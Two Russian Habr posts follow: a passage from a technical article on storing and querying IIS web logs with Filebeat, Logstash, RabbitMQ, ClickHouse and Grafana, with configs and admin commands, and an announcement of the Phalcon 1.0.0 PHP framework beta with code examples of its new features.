Processor: Core 2 2Ghz | Необходимо обратить внимание на советы по эксплуатации БД ClickHouse (<https://clickhouse.yandex/docs/ru/operations/tips/>) |
| Общесистемное ПО | ОС: Red Hat Enterprise Linux Server (Maipo)
JRE (Java 8) | |
Как видно, это обычная рабочая станция.
Структура таблицы для хранения логов выглядит следующим образом:
**log\_web.sql**
```
CREATE TABLE log_web (
logdate Date,
logdatetime DateTime CODEC(Delta, LZ4HC),
fld_log_file_name LowCardinality( String ),
fld_server_name LowCardinality( String ),
fld_app_name LowCardinality( String ),
fld_app_module LowCardinality( String ),
fld_website_name LowCardinality( String ),
serverIP LowCardinality( String ),
method LowCardinality( String ),
uriStem String,
uriQuery String,
port UInt32,
username LowCardinality( String ),
clientIP String,
clientRealIP String,
userAgent String,
referer String,
response String,
subresponse String,
win32response String,
timetaken UInt64
, uriQuery__utm_medium String
, uriQuery__utm_source String
, uriQuery__utm_campaign String
, uriQuery__utm_term String
, uriQuery__utm_content String
, uriQuery__yclid String
, uriQuery__region String
) Engine = MergeTree()
PARTITION BY toYYYYMM(logdate)
ORDER BY (fld_app_name, fld_app_module, logdatetime)
SETTINGS index_granularity = 8192;
```
Мы используем значения по умолчанию для партиционирования (по месяцам) и гранулярность индекса. Все поля практически соответствуют записям лога IIS для регистрации http-запросов. Отдельно отметим, отдельные поля для хранения utm-меток (они парсятся на этапе вставки в таблицу из поля строки запроса).
Также в таблице добавлены несколько системных полей для хранения информации о системах, компонентах, серверах. Описание этих полей см. ниже в таблице. В одной таблице мы храним логи по нескольким системам.
| | | |
| --- | --- | --- |
| **Название** | **Описание** | **Пример** |
| fld\_app\_name | Название приложения/системы
Допустимые значения:* site1.domain.com Внешний сайт 1
* site2.domain.com Внешний сайт 2
* internal-site1.domain.local Внутренний сайт 1
| site1.domain.com |
| fld\_app\_module | Модуль системы
Допустимые значения:* web — Веб-сайт
* svc — Веб-сервис сайта
* intgr — Веб-сервис интеграции
* bo — Админка (BackOffice)
| web |
| fld\_website\_name | Название сайта в IIS
На одном сервере может быть развернуто несколько систем, или даже несколько экземпляров одного модуля системы | web-main |
| fld\_server\_name | Имя сервера | web1.domain.com |
| fld\_log\_file\_name | Путь к файлу лога на сервере | С:\inetpub\logs\LogFiles
\W3SVC1\u\_ex190711.log |
Это позволяет эффективно строить графики в Grafana. Например, просматривать запросы с фронтенда конкретной системы. Это похоже на счетчик сайта в Яндекс.Метрике.
Вот некоторая статистика по использованию БД за два месяца.
**Количество записей с разбивкой по системам и их компонентам**
```
SELECT
fld_app_name,
fld_app_module,
count(fld_app_name) AS rows_count
FROM log_web
GROUP BY
fld_app_name,
fld_app_module
WITH TOTALS
ORDER BY
fld_app_name ASC,
rows_count DESC
┌─fld_app_name─────┬─fld_app_module─┬─rows_count─┐
│ site1.domain.ru │ web │ 131441 │
│ site2.domain.ru │ web │ 1751081 │
│ site3.domain.ru │ web │ 106887543 │
│ site3.domain.ru │ svc │ 44908603 │
│ site3.domain.ru │ intgr │ 9813911 │
│ site4.domain.ru │ web │ 772095 │
│ site5.domain.ru │ web │ 17037221 │
│ site5.domain.ru │ intgr │ 838559 │
│ site5.domain.ru │ bo │ 7404 │
│ site6.domain.ru │ web │ 595877 │
│ site7.domain.ru │ web │ 27778858 │
└──────────────────┴────────────────┴────────────┘
Totals:
┌─fld_app_name─┬─fld_app_module─┬─rows_count─┐
│ │ │ 210522593 │
└──────────────┴────────────────┴────────────┘
11 rows in set. Elapsed: 4.874 sec. Processed 210.52 million rows, 421.67 MB (43.19 million rows/s., 86.51 MB/s.)
```
**Объем данных на диске**
```
SELECT
formatReadableSize(sum(data_uncompressed_bytes)) AS uncompressed,
formatReadableSize(sum(data_compressed_bytes)) AS compressed,
sum(rows) AS total_rows
FROM system.parts
WHERE table = 'log_web'
┌─uncompressed─┬─compressed─┬─total_rows─┐
│ 54.50 GiB │ 4.86 GiB │ 211427094 │
└──────────────┴────────────┴────────────┘
1 rows in set. Elapsed: 0.035 sec.
```
**Степень сжатия данных в столбцах**
```
SELECT
name,
formatReadableSize(data_uncompressed_bytes) AS uncompressed,
formatReadableSize(data_compressed_bytes) AS compressed,
data_uncompressed_bytes / data_compressed_bytes AS compress_ratio
FROM system.columns
WHERE table = 'log_web'
┌─name───────────────────┬─uncompressed─┬─compressed─┬─────compress_ratio─┐
│ logdate │ 401.53 MiB │ 1.80 MiB │ 223.16665968777315 │
│ logdatetime │ 803.06 MiB │ 35.91 MiB │ 22.363966401202305 │
│ fld_log_file_name │ 220.66 MiB │ 2.60 MiB │ 84.99905736932571 │
│ fld_server_name │ 201.54 MiB │ 50.63 MiB │ 3.980924816977078 │
│ fld_app_name │ 201.17 MiB │ 969.17 KiB │ 212.55518183686877 │
│ fld_app_module │ 201.17 MiB │ 968.60 KiB │ 212.67805817411906 │
│ fld_website_name │ 201.54 MiB │ 1.24 MiB │ 162.7204926761546 │
│ serverIP │ 201.54 MiB │ 50.25 MiB │ 4.010824061219731 │
│ method │ 201.53 MiB │ 43.64 MiB │ 4.617721053304486 │
│ uriStem │ 5.13 GiB │ 832.51 MiB │ 6.311522291936919 │
│ uriQuery │ 2.58 GiB │ 501.06 MiB │ 5.269731450124478 │
│ port │ 803.06 MiB │ 3.98 MiB │ 201.91673864241824 │
│ username │ 318.08 MiB │ 26.93 MiB │ 11.812513794583598 │
│ clientIP │ 2.35 GiB │ 82.59 MiB │ 29.132328640073343 │
│ clientRealIP │ 2.49 GiB │ 465.05 MiB │ 5.478382297052563 │
│ userAgent │ 18.34 GiB │ 764.08 MiB │ 24.57905114484208 │
│ referer │ 14.71 GiB │ 1.37 GiB │ 10.736792723669906 │
│ response │ 803.06 MiB │ 83.81 MiB │ 9.582334090987247 │
│ subresponse │ 399.87 MiB │ 1.83 MiB │ 218.4831068635027 │
│ win32response │ 407.86 MiB │ 7.41 MiB │ 55.050315514606815 │
│ timetaken │ 1.57 GiB │ 402.06 MiB │ 3.9947395692010637 │
│ uriQuery__utm_medium │ 208.17 MiB │ 12.29 MiB │ 16.936148912472955 │
│ uriQuery__utm_source │ 215.18 MiB │ 13.00 MiB │ 16.548367623199912 │
│ uriQuery__utm_campaign │ 381.46 MiB │ 37.94 MiB │ 10.055156353418509 │
│ uriQuery__utm_term │ 231.82 MiB │ 10.78 MiB │ 21.502540454070672 │
│ uriQuery__utm_content │ 441.34 MiB │ 87.60 MiB │ 5.038260760449327 │
│ uriQuery__yclid │ 216.88 MiB │ 16.58 MiB │ 13.07721335008116 │
│ uriQuery__region │ 204.35 MiB │ 9.49 MiB │ 21.52661903446796 │
└────────────────────────┴──────────────┴────────────┴────────────────────┘
28 rows in set. Elapsed: 0.005 sec.
```
#### Описание используемых компонентов
FileBeat. Передача файловых логов
Этот компонент отслеживает изменения в файлах логов на диске и передает информацию в LogStash. Устанавливается на всех серверах, где пишутся файлы с логами (как правило, IIS). Работает в режиме tail (т. е. передает только добавленные записи в файл). Но отдельно можно настроить на передачу файлов целиком. Это удобно, когда нужно загрузить данные за предыдущие месяцы. Просто положить файл с логом в папку и он сам его прочитает целиком.
При остановке сервиса, данные перестают передаваться дальше в хранилище.
Пример конфигурации выглядит следующим образом:
**filebeat.yml**
```
filebeat.inputs:
- type: log
enabled: true
paths:
- C:/inetpub/logs/LogFiles/W3SVC1/*.log
exclude_files: ['.gz$','.zip$']
tail_files: true
ignore_older: 24h
fields:
fld_server_name: "site1.domain.ru"
fld_app_name: "site1.domain.ru"
fld_app_module: "web"
fld_website_name: "web-main"
- type: log
enabled: true
paths:
- C:/inetpub/logs/LogFiles/__Import/access_log-*
exclude_files: ['.gz$','.zip$']
tail_files: false
fields:
fld_server_name: "site2.domain.ru"
fld_app_name: "site2.domain.ru"
fld_app_module: "web"
fld_website_name: "web-main"
fld_logformat: "logformat__apache"
filebeat.config.modules:
path: ${path.config}/modules.d/*.yml
reload.enabled: false
reload.period: 2s
output.logstash:
hosts: ["log.domain.com:5044"]
ssl.enabled: true
ssl.certificate_authorities: ["C:/filebeat/certs/ca.pem", "C:/filebeat/certs/ca-issuing.pem"]
ssl.certificate: "C:/filebeat/certs/site1.domain.ru.cer"
ssl.key: "C:/filebeat/certs/site1.domain.ru.key"
#================================ Processors =====================================
processors:
- add_host_metadata: ~
- add_cloud_metadata: ~
```
#### LogStash. Сборщик логов
Этот компонент предназначен для получения записей логов от FileBeat (либо через очередь RabbitMQ), парсинга и вставки пачками в БД ClickHouse.
Для вставки в ClickHouse используется плагин Logstash-output-clickhouse. У плагина Logstash есть механизм ретрая запросов, но при штатном останове, лучше все-таки останавливать сам сервис. При остановке будут копиться сообщения в очереди RabbitMQ, поэтому если останов на продолжительное время, то тогда лучше останавливать Filebeat'ы на серверах. В схеме, где не используется RabbitMQ (в локальной сети Filebeat напрямую отправляет логи в Logstash), Filebeat'ы работают вполне приемлемо и безопасно, поэтому для них недоступность output проходит без последствий.
Пример конфигурации выглядит следующим образом:
**log\_web\_\_filebeat\_clickhouse.conf**
```
input {
beats {
port => 5044
type => 'iis'
ssl => true
ssl_certificate_authorities => ["/etc/logstash/certs/ca.cer", "/etc/logstash/certs/ca-issuing.cer"]
ssl_certificate => "/etc/logstash/certs/server.cer"
ssl_key => "/etc/logstash/certs/server-pkcs8.key"
ssl_verify_mode => "peer"
add_field => {
"fld_server_name" => "%{[fields][fld_server_name]}"
"fld_app_name" => "%{[fields][fld_app_name]}"
"fld_app_module" => "%{[fields][fld_app_module]}"
"fld_website_name" => "%{[fields][fld_website_name]}"
"fld_log_file_name" => "%{source}"
"fld_logformat" => "%{[fields][fld_logformat]}"
}
}
rabbitmq {
host => "queue.domain.com"
port => 5671
user => "q-reader"
password => "password"
queue => "web_log"
heartbeat => 30
durable => true
ssl => true
#ssl_certificate_path => "/etc/logstash/certs/server.p12"
#ssl_certificate_password => "password"
add_field => {
"fld_server_name" => "%{[fields][fld_server_name]}"
"fld_app_name" => "%{[fields][fld_app_name]}"
"fld_app_module" => "%{[fields][fld_app_module]}"
"fld_website_name" => "%{[fields][fld_website_name]}"
"fld_log_file_name" => "%{source}"
"fld_logformat" => "%{[fields][fld_logformat]}"
}
}
}
filter {
if [message] =~ "^#" {
drop {}
}
if [fld_logformat] == "logformat__iis_with_xrealip" {
grok {
match => ["message", "%{TIMESTAMP_ISO8601:log_timestamp} %{IP:serverIP} %{WORD:method} %{NOTSPACE:uriStem} %{NOTSPACE:uriQuery} %{NUMBER:port} %{NOTSPACE:username} %{IPORHOST:clientIP} %{NOTSPACE:userAgent} %{NOTSPACE:referer} %{NUMBER:response} %{NUMBER:subresponse} %{NUMBER:win32response} %{NUMBER:timetaken} %{NOTSPACE:xrealIP} %{NOTSPACE:xforwarderfor}"]
}
} else {
grok {
match => ["message", "%{TIMESTAMP_ISO8601:log_timestamp} %{IP:serverIP} %{WORD:method} %{NOTSPACE:uriStem} %{NOTSPACE:uriQuery} %{NUMBER:port} %{NOTSPACE:username} %{IPORHOST:clientIP} %{NOTSPACE:userAgent} %{NOTSPACE:referer} %{NUMBER:response} %{NUMBER:subresponse} %{NUMBER:win32response} %{NUMBER:timetaken}"]
}
}
date {
match => [ "log_timestamp", "YYYY-MM-dd HH:mm:ss" ]
timezone => "Etc/UTC"
remove_field => [ "log_timestamp", "@timestamp" ]
target => [ "log_timestamp2" ]
}
ruby {
code => "tstamp = event.get('log_timestamp2').to_i
event.set('logdatetime', Time.at(tstamp).strftime('%Y-%m-%d %H:%M:%S'))
event.set('logdate', Time.at(tstamp).strftime('%Y-%m-%d'))"
}
if [bytesSent] {
ruby {
code => "event['kilobytesSent'] = event['bytesSent'].to_i / 1024.0"
}
}
if [bytesReceived] {
ruby {
code => "event['kilobytesReceived'] = event['bytesReceived'].to_i / 1024.0"
}
}
ruby {
code => "event.set('clientRealIP', event.get('clientIP'))"
}
if [xrealIP] {
ruby {
code => "event.set('clientRealIP', event.get('xrealIP'))"
}
}
if [xforwarderfor] {
ruby {
code => "event.set('clientRealIP', event.get('xforwarderfor'))"
}
}
mutate {
convert => ["bytesSent", "integer"]
convert => ["bytesReceived", "integer"]
convert => ["timetaken", "integer"]
convert => ["port", "integer"]
add_field => {
"clientHostname" => "%{clientIP}"
}
}
useragent {
source=> "useragent"
prefix=> "browser"
}
kv {
source => "uriQuery"
prefix => "uriQuery__"
allow_duplicate_values => false
field_split => "&"
include_keys => [ "utm_medium", "utm_source", "utm_campaign", "utm_term", "utm_content", "yclid", "region" ]
}
mutate {
join => { "uriQuery__utm_source" => "," }
join => { "uriQuery__utm_medium" => "," }
join => { "uriQuery__utm_campaign" => "," }
join => { "uriQuery__utm_term" => "," }
join => { "uriQuery__utm_content" => "," }
join => { "uriQuery__yclid" => "," }
join => { "uriQuery__region" => "," }
}
}
output {
#stdout {codec => rubydebug}
clickhouse {
headers => ["Authorization", "Basic abcdsfks..."]
http_hosts => ["http://127.0.0.1:8123"]
save_dir => "/etc/logstash/tmp"
table => "log_web"
request_tolerance => 1
flush_size => 10000
idle_flush_time => 1
mutations => {
"fld_log_file_name" => "fld_log_file_name"
"fld_server_name" => "fld_server_name"
"fld_app_name" => "fld_app_name"
"fld_app_module" => "fld_app_module"
"fld_website_name" => "fld_website_name"
"logdatetime" => "logdatetime"
"logdate" => "logdate"
"serverIP" => "serverIP"
"method" => "method"
"uriStem" => "uriStem"
"uriQuery" => "uriQuery"
"port" => "port"
"username" => "username"
"clientIP" => "clientIP"
"clientRealIP" => "clientRealIP"
"userAgent" => "userAgent"
"referer" => "referer"
"response" => "response"
"subresponse" => "subresponse"
"win32response" => "win32response"
"timetaken" => "timetaken"
"uriQuery__utm_medium" => "uriQuery__utm_medium"
"uriQuery__utm_source" => "uriQuery__utm_source"
"uriQuery__utm_campaign" => "uriQuery__utm_campaign"
"uriQuery__utm_term" => "uriQuery__utm_term"
"uriQuery__utm_content" => "uriQuery__utm_content"
"uriQuery__yclid" => "uriQuery__yclid"
"uriQuery__region" => "uriQuery__region"
}
}
}
```
**pipelines.yml**
```
# This file is where you define your pipelines. You can define multiple.
# For more information on multiple pipelines, see the documentation:
# https://www.elastic.co/guide/en/logstash/current/multiple-pipelines.html
- pipeline.id: log_web__filebeat_clickhouse
path.config: "/etc/logstash/log_web__filebeat_clickhouse.conf"
```
#### ClickHouse. Хранилище логов
Логи по всем системам сохраняются в одну таблицу (см. в начале статьи). Она предназначения для хранения информации о запросах: все параметры похожи для различных форматов, например логи IIS, логи apache и nginx. Для логов приложений, в которых регистрируются, например, ошибки, информационные сообщения, варнинги, будет предусмотрена отдельная таблица, с соответствующей структурой (сейчас на стадии проектирования).
При проектировании таблицы очень важно определиться с первичным ключом (по которому будут сортироваться данные при хранении). От этого зависит степень сжатия данных и скорость запросов. В нашем примере ключом является
ORDER BY (fld\_app\_name, fld\_app\_module, logdatetime)
Т. е. по названию системы, названию компонента системы и дате события. Первоначально дата события была на первом месте. После перемещения ее на последнее место запросы стали работать примерно в два раза быстрее. Изменение первичного ключа потребует пересоздания таблицы и перезаливки данных, чтобы ClickHouse пересортировал данные на диске. Это тяжелая операция, поэтому желательно сильно заранее продумать, что должно входить в ключ сортировки.
Также необходимо отметить, что относительно в последних версиях появился тип данных LowCardinality. При его использовании резко сокращается размер сжатых данных для тех полей, у которых низкая кардинальность (мало вариантов).
Сейчас используется версия 19.6, и мы планируем попробовать обновить версию до последней. В них появились такие замечательные фичи как Adaptive Granularity, Skipping indices и кодек DoubleDelta, например.
По умолчанию при установке в конфигурации установлен уровень логирования trace. Логи ротируются и архивируются, но при этом расширяются до гигабайта. Если нет необходимости, то можно поставить уровень warning, тогда размер лога резко уменьшается. Настройка логирования задается в файле config.xml:
```
warning
```
**Некоторые полезные команды**
```
Поскольку оригинальные пакеты установки собираются по Debian, то для других версий Linux необходимо использовать пакеты собранные компанией Altinity.
Вот по этой ссылке есть инструкции с ссылками на их репозиторий: https://www.altinity.com/blog/2017/12/18/logstash-with-clickhouse
sudo yum search clickhouse-server
sudo yum install clickhouse-server.noarch
1. проверка статуса
sudo systemctl status clickhouse-server
2. остановка сервера
sudo systemctl stop clickhouse-server
3. запуск сервера
sudo systemctl start clickhouse-server
Запуск для выполнения запросов в многострочном режиме (выполнение после знака ";")
clickhouse-client --multiline
clickhouse-client --multiline --host 127.0.0.1 --password pa55w0rd
clickhouse-client --multiline --host 127.0.0.1 --port 9440 --secure --user default --password pa55w0rd
Плагин кликлауза для логстеш в случае ошибки в одной строке сохраняет всю пачку в файл /tmp/log_web_failed.json
Можно вручную исправить этот файл и попробовать залить его в БД вручную:
clickhouse-client --host 127.0.0.1 --password password --query="INSERT INTO log_web FORMAT JSONEachRow" < /tmp/log_web_failed__fixed.json
sudo mv /etc/logstash/tmp/log_web_failed.json /etc/logstash/tmp/log_web_failed__fixed.json
sudo chown user_dev /etc/logstash/tmp/log_web_failed__fixed.json
sudo clickhouse-client --host 127.0.0.1 --password password --query="INSERT INTO log_web FORMAT JSONEachRow" < /etc/logstash/tmp/log_web_failed__fixed.json
sudo mv /etc/logstash/tmp/log_web_failed__fixed.json /etc/logstash/tmp/log_web_failed__fixed_.json
выход из командной строки
quit;
## Настройка TLS
https://www.altinity.com/blog/2019/3/5/clickhouse-networking-part-2
openssl s_client -connect log.domain.com:9440 < /dev/null
```
#### LogStash. Маршрутизатор логов от FileBeat в очередь RabbitMQ
Этот компонент используется для маршрутизации логов, поступающих от FileBeat в очередь RabbitMQ. Здесь два момента:
1. К сожалению, FileBeat не имеет output плагина для записи напрямую в RabbitMQ. И такой функционал, судя по ишью на их гитхабе, не планируется к реализации. Есть плагин для Кафки, но по определенным причинам мы не можем ее использовать у себя.
2. Есть требования по сбору логов в DMZ. Исходя из них, логи сначала должны складываться в очередь и потом LogStash извне читает из очереди записи.
Поэтому именно для случая расположения серверов в DMZ приходится использовать такую немного усложненную схему. Пример конфигурации выглядит следующим образом:
**iis\_w3c\_logs\_\_filebeat\_rabbitmq.conf**
```
input {
beats {
port => 5044
type => 'iis'
ssl => true
ssl_certificate_authorities => ["/etc/pki/tls/certs/app/ca.pem", "/etc/pki/tls/certs/app/ca-issuing.pem"]
ssl_certificate => "/etc/pki/tls/certs/app/queue.domain.com.cer"
ssl_key => "/etc/pki/tls/certs/app/queue.domain.com-pkcs8.key"
ssl_verify_mode => "peer"
}
}
output {
#stdout {codec => rubydebug}
rabbitmq {
host => "127.0.0.1"
port => 5672
exchange => "monitor.direct"
exchange_type => "direct"
key => "%{[fields][fld_app_name]}"
user => "q-writer"
password => "password"
ssl => false
}
}
```
#### RabbitMQ. Очередь сообщений
Этот компонент используется для буферизации записей логов в DMZ. Запись производится через связку Filebeat → LogStash. Чтение осуществляется извне DMZ через LogStash. При эксплуатации через RabboitMQ обрабатывается около 4 тысяч сообщений в секунду.
Раутинг сообщений настроен по названию системы, т. е. на основе данных конфигурации FileBeat. Все сообщения попадают в одну очередь. Если по каким либо причинам будет остановлен сервис очередей, то это не приведет к потере сообщений: FileBeat'ы будут получать ошибки соединения и приостановят временно отправку. А LogStash, который читает из очереди, также будет получать сетевые ошибки и ждать, когда воcстановится соединение. Данные при этом, конечно, перестанут писаться в БД.
Следующие инструкции используются для создания и настройки очередей:
```
sudo /usr/local/bin/rabbitmqadmin/rabbitmqadmin declare exchange --vhost=/ name=monitor.direct type=direct sudo /usr/local/bin/rabbitmqadmin/rabbitmqadmin declare queue --vhost=/ name=web_log durable=true
sudo /usr/local/bin/rabbitmqadmin/rabbitmqadmin --vhost="/" declare binding source="monitor.direct" destination_type="queue" destination="web_log" routing_key="site1.domain.ru"
sudo /usr/local/bin/rabbitmqadmin/rabbitmqadmin --vhost="/" declare binding source="monitor.direct" destination_type="queue" destination="web_log" routing_key="site2.domain.ru"
```
#### Grafana. Дашборды
Этот компонент используется для визуализации данных мониторинга. При этом необходимо установить плагин ClickHouse datasource for Grafana 4.6+. Нам пришлось его немного подправить, чтобы повысить эффективность обработки SQL-фильтров на дашборде.
Например, мы используем переменные, и если они не заданы в поле фильтра, то хотелось бы, чтобы он не генерировал условие в WHERE вида ( uriStem = '' AND uriStem != '' ). В таком случае, ClickHouse будет читать колонку uriStem. В общем, мы попробовали разные варианты и в конце концов поправили плагин (макрос $valueIfEmpty), чтобы в случае пустого значения он возвращать 1, без упоминания самого столбца.
И теперь можно использовать вот такой запрос для графика
```
$columns(response, count(*) c) from $table where $adhoc
and $valueIfEmpty($fld_app_name, 1, fld_app_name = '$fld_app_name')
and $valueIfEmpty($fld_app_module, 1, fld_app_module = '$fld_app_module') and $valueIfEmpty($fld_server_name, 1, fld_server_name = '$fld_server_name') and $valueIfEmpty($uriStem, 1, uriStem like '%$uriStem%')
and $valueIfEmpty($clientRealIP, 1, clientRealIP = '$clientRealIP')
```
который преобразуется в такой SQL (обратите внимание, что пустые поля uriStem преобразовались в просто 1)
```
SELECT
t,
groupArray((response, c)) AS groupArr
FROM (
SELECT
(intDiv(toUInt32(logdatetime), 60) * 60) * 1000 AS t, response,
count(*) AS c FROM default.log_web
WHERE (logdate >= toDate(1565061982)) AND (logdatetime >= toDateTime(1565061982)) AND 1 AND (fld_app_name = 'site1.domain.ru') AND (fld_app_module = 'web') AND 1 AND 1 AND 1
GROUP BY
t, response
ORDER BY
t ASC,
response ASC
)
GROUP BY t ORDER BY t ASC
```
#### Заключение
Появление БД ClickHouse стало знаковым событием на рынке. Трудно было представить, что совершенно бесплатно в одно мгновение мы вооружились мощным и практичным инструментом для работы с большими данными. Безусловно, при увеличении потребностей (например, шардирование и репликация на несколько серверов) схема будет усложняться. Но по первым впечатлениями, работать с этой БД очень приятно. Видно, что продукт сделан «для людей».
По сравнению с ElasticSearch, затраты на хранение и обработку логов, по предварительным оценкам, сокращаются от пяти до десяти раз. Другими словами, если для текущего объема данных нам пришлось бы настраивать кластер из нескольких машин, то при использовании ClickHouse нам достаточно одной маломощной машины. Да, конечно, в ElasticSearch также есть механизмы сжатия данных на диске и другие фичи, которые позволяют заметно снизить потребление ресурсов, но по сравнению с ClickHouse это потребует больших затрат.
Без каких-либо специальных оптимизаций со своей стороны, на дефолтовых настройках, загрузка данных и выборки из БД работают с потрясающей скоростью. Данных пока у нас немного (около 200 млн записей), но сам сервер слабый. Этот инструмент мы в будущем можем использовать и для других целей, не связанных с хранением логов. Например, для сквозной аналитики, в области безопасности, машинном обучении.
В конце немного о минусах и плюсах.
#### Минусы
1. Загрузка записей большими пачками. Это, с одной стороны, фича, но все-таки приходится использовать дополнительные компоненты для буферизации записей. Эта задача не всегда простая, но все же решаемая. И хотелось бы упрощать схему.
2. Некоторый экзотический функционал или новые фичи часто в новых версиях ломаются. Это вызывает опасения, уменьшая желание обновиться до новой версии. Например, движок таблиц Kafka – очень полезная фича, которая позволяет напрямую читать события из кафки, без реализации консьюмеров. Но судя по количеству Issue на гитхабе, мы пока остерегаемся использовать этот движок в продакшене. Впрочем, если не делать резких телодвижений в сторону и использовать основной функционал, то он работает стабильно.
#### Плюсы
1. Не тормозит.
2. Низкий порог входа.
3. Open-source.
4. Бесплатна.
5. Хорошо масштабируется (шардирование/репликация «из коробки»)
6. Входит в реестр российского ПО, рекомендованного МинКомСвязи.
7. Наличие официальной поддержки от Яндекс. | https://habr.com/ru/post/472912/ | null | ru | null |
# Первая бета Phalcon 1.0.0
Сегодня группа разработчиков Phalcon выпустила первую бета-версию фреймворка Phalcon 1.0.0. Для тех, кто не в курсе: Phalcon — это PHP-фреймворк, написанный на Си и работающий как расширение для PHP, прочитать про него на Хабре можно в статьях [Phalcon — скомпилированный PHP MVC Framework](http://habrahabr.ru/post/159217/) и [Phalcon: Давайте учиться на примере](http://habrahabr.ru/post/160311/).
Цель выпуска этой версии — получение обратной связи от сообщества и обнаружение максимума ошибок.
Краткий анонс важных нововведений этой версии:
1. [Многоуровневое кеширование](#cache)
2. [Улучшения в шаблонизаторе Volt](#volt)
3. [Горизонтальный и вертикальный шардинг](#sharding)
4. [Запись состояния (Record Snapshots)](#snapshots)
5. [Динамическое обновление](#update)
6. [Валидация](#validation)
#### 1. Многоуровневое кеширование
Новая возможность компонента кеширования позволяет разработчику осуществлять кеш в несколько уровней. Возможность будет полезна при сохранении кеша в нескольких местах (системах кеширования) с разным временем жизни, и последующим поочерёдным чтением из них начиная с самого быстрого (в порядке регистрации) и заканчивая самым медленным, пока срок жизни во всех них не истечет.
```
php
$ultraFastFrontend = new Phalcon\Cache\Frontend\Data(array(
"lifetime" = 3600
));
$fastFrontend = new Phalcon\Cache\Frontend\Data(array(
"lifetime" => 86400
));
$slowFrontend = new Phalcon\Cache\Frontend\Data(array(
"lifetime" => 604800
));
//Backends are registered from the fastest to the slower
$cache = new \Phalcon\Cache\Multiple(array(
new Phalcon\Cache\Backend\Apc($frontCache, array(
"prefix" => 'cache',
)),
new Phalcon\Cache\Backend\Memcache($fastFrontCache, array(
"prefix" => 'cache',
"host" => "localhost",
"port" => "11211"
)),
new Phalcon\Cache\Backend\File($slowestFrontCache, array(
"prefix" => 'cache',
"cacheDir" => "../app/cache/"
));
));
// Сохранение, сохраняется сразу во все системы кеширования
$cache->save('my-key', $data);
// Получение, читается сразу со всех систем где кеш еще живой
$data = $cache->get('my-key');
```
#### 2. Улучшения в шаблонизаторе Volt
Volt (написанный так же на Си) получил в этой версии несколько новых возможностей:
```
{# Тернарный оператор #}
{{ total > 0 ? total|format('%0.2f') : '0.0' }}
{# Поддержка For-Else #}
{% for robot in robots %}
{{ robot.name }}
{% else %}
There are no robots
{% endfor %}
{# Циклы внутри контекста #}
{% for robot in robots %}
{% if loop.first %}
| Position | Id | Name |
| --- | --- | --- |
ae
{% endif %}
| {{ loop.index }} | {{ robot.id }} | {{ robot.name }} |
{% if loop.last %}
{% endif %}
{% endfor %}
{# Контролирование пробелов в разделении (Space control delimiters) #}
{%- for robot in robots -%}
* {{- robot.name -}}
{%- endfor %}
```
#### 3. Горизонтальный и вертикальный шардинг
Теперь для записи и чтения из базы данных можно использовать разные соединения. Полезность проявляется при работе с master/slave конфигурацией СУБД:
```
class Robots extends Phalcon\Mvc\Model
{
public function initialize()
{
$this->setReadConnectionService('dbSlave');
$this->setWriteConnectionService('dbMaster');
}
}
```
Также возможен горизонтальный шардинг, когда соединение выбирается в зависимости от запрашиваемых данных:
```
class Robots extends Phalcon\Mvc\Model
{
public function selectReadConnection($intermediate, $bindParams, $bindTypes)
{
// Проверяем, есть ли в запросе условие 'where'
if (isset($intermediate['where'])) {
$conditions = $intermediate['where'];
// Выбираем соединение в зависимости по требуемому условия
if ($conditions['left']['name'] == 'id') {
$id = $conditions['right']['value'];
if ($id > 0 && $id < 10000) {
return $this->getDI()->get('dbShard1');
}
if ($id > 10000) {
return $this->getDI()->get('dbShard2');
}
}
}
// В остальных случаях используем соединение по умолчанию
return $this->getDI()->get('dbShard0');
}
}
```
#### 4. Запись состояния (Record Snapshots)
Теперь в моделях может быть установлено свойство для хранения значений полей в момент запроса. Вы можете использовать эту функцию для аудита или проверки изменения значений полей в процессе работы:
```
class Robots extends Phalcon\Mvc\Model
{
public function initalize()
{
$this->keepSnapshots(true);
}
}
```
Так можно проверить значения каких полей были изменены:
```
$robot = new Robots();
$robot->name = 'Other name';
var_dump($robot->getChangedFields()); // ['name']
var_dump($robot->hasChanged('name')); // true
var_dump($robot->hasChanged('type')); // false
```
#### 5. Динамическое обновление
Позволяет ORM при формирования SQL запроса UPDATE использовать в нём только те поля, значения которых были изменены, а не собирать все поля и все их значения. Это уменьшает трафик между серверами приложения и базы данных, что в свою очередь может благоприятно сказаться на производительности:
```
class Robots extends Phalcon\Mvc\Model
{
public function initalize()
{
$this->useDynamicUpdate(true);
}
}
```
#### 6. Валидация
Новый компонент Phalcon\Validation позволяет осуществлять независимую проверку данных. Компонент основан на проверках уже реализованных в ORM и ODM. С его помощью можно проверять данные не связанные с какой-либо моделью или коллекцией:
```
$validation = new Phalcon\Validation();
$validation
->add('name', new PresenceOf(array(
'message' => 'Поле name обязательно для заполнения'
)))
->add('name', new StringLength(array(
'min' => 5,
'minimumMessage' => 'Значение поля name слишком короткое'
)))
->add('email', new PresenceOf(array(
'message' => 'Поле email обязательно для заполнения '
)))
->add('email', new Email(array(
'message' => 'Email не соответствует формату'
)))
->add('login', new PresenceOf(array(
'message' => 'Поле login обязательно для заполнения'
)));
$messages = $validation->validate($_POST);
if (count($messages)) {
foreach ($messages as $message) {
echo $message;
}
}
```
Этот выпуск так же содержит другие улучшения и исправления, вы можете узнать их все прочитав полный [список изменений](https://github.com/phalcon/cphalcon/blob/1.0.0/CHANGELOG) или его же на русском в [русской группе поддержки Phalcon](http://vk.com/wall-45934290_24) вконтакте.
#### Помочь с тестированием
Получить эту версию можно с GitHub из ветки 1.0.0:
```
git clone http://github.com/phalcon/cphalcon
cd build
git checkout 1.0.0
sudo ./install
```
Пользователи Windows могут [скачать](http://phalconphp.com/download) готовую библиотеку DLL на странице загрузки.
С радостью примем ваши замечания и предложения на [Phosphorum](http://forum.phalconphp.com/), [Stack Overflow](http://stackoverflow.com/questions/tagged/phalcon) или [Google Group](https://groups.google.com/forum/#!forum/phalcon). Если вы обнаружили ошибку и можете сформировать тест для её повторения или решения — отправте нам pull request или создайте issue на [GitHub](https://github.com/phalcon/cphalcon).
P.S. Перевод вольный с дополнениями, оригинал [здесь](http://blog.phalconphp.com/post/44715359754/phalcon-1-0-0-beta-released).
Для поддержки фреймворка создана [група вконтакте](http://vk.com/phalconphp), [русский сайт](http://phalconphp.ru/) и начата [локализации документации](https://github.com/xboston/phalcon-docs), присоединяйтесь!
Есть так же другой перевод документации и примеров [Phalcon PHP FrameWork](http://phalcon-ru.tumblr.com/)
Права на оригинальное фото принадлежат Simon Roy: [500px.com/photo/7924712](http://500px.com/photo/7924712) | https://habr.com/ru/post/171915/ | null | ru | null |
